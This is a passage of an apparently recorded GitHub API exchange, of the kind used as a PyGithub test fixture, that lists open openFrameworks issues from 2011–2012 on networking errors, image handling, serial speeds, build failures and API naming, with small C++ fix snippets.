URLWithString:ofxStringToNSString(url)]];\r\n}","number":603,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":1048971,"created_at":"2011-06-13T13:03:15Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"f92a8e912b59171abde0354e2f212c12","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/tomorrowevening","login":"tomorrowevening","id":626143},"title":"TCPManager Consistent Error","comments":1,"assignee":null,"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the connection\r\n\r\nThis error happens in every use of ofxTCPClient.","number":599,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1027184,"created_at":"2011-06-08T23:02:28Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240},"title":"problem with ofImage resize","comments":0,"assignee":null,"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","number":591,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":984564,"created_at":"2011-06-01T13:56:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"c7f941e0c10696b758ae8792714a6744","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/cristobal","login":"cristobal","id":155505},"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","comments":0,"assignee":null,"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","number":590,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":978212,"created_at":"2011-05-31T11:31:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106},"title":"setFromPixels vs setFromExternalPixels","comments":0,"assignee":null,"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","number":589,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":976610,"created_at":"2011-05-31T02:06:22Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106},"title":"templated code needs to be more readable","comments":5,"assignee":null,"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","number":582,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":942647,"created_at":"2011-05-23T17:46:28Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e6d243a56cd069a225f56f4a388e8838","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/labatrockwell","login":"labatrockwell","id":313943},"title":"ofSerial: add 230400 speed","comments":2,"assignee":null,"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","number":577,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":932655,"created_at":"2011-05-20T16:16:52Z"},{"milestone":{"state":"open","description":"","title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"number":8,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442},"closed_issues":0,"id":88731,"created_at":"2012-02-25T01:34:28Z"},"state":"open","user":{"gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/damiannz","login":"damiannz","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","comments":17,"assignee":{"gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/damiannz","login":"damiannz","id":144366},"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","number":576,"closed_at":null,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","labels":[],"id":927378,"created_at":"2011-05-19T14:49:57Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '47539'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"acf3f766b7c50e2fb9b6897576cc36ab"'), ('date', 'Tue, 29 May 2012 06:43:42 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"assignee":null,"closed_at":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":895515,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/572"},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"assignee":null,"closed_at":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":883385,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/569"},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"assignee":null,"closed_at":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":883380,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/568"},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","id":720460,"avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":862321,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/566"},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","id":313943,"avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"id":853551,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/565"},{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"assignee":null,"closed_at":null,"title":"ofxShader for iOS","labels":[],"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","id":132584,"avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":850096,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/564"},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"assignee":null,"closed_at":null,"title":"fix ofFbo for openGL ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":833772,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/560"},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"assignee":null,"closed_at":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":723496,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/520"},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"assignee":null,"closed_at":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":721833,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/519"},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"assignee":null,"closed_at":null,"title":"movieGrabber/PlayerExamples are poorly 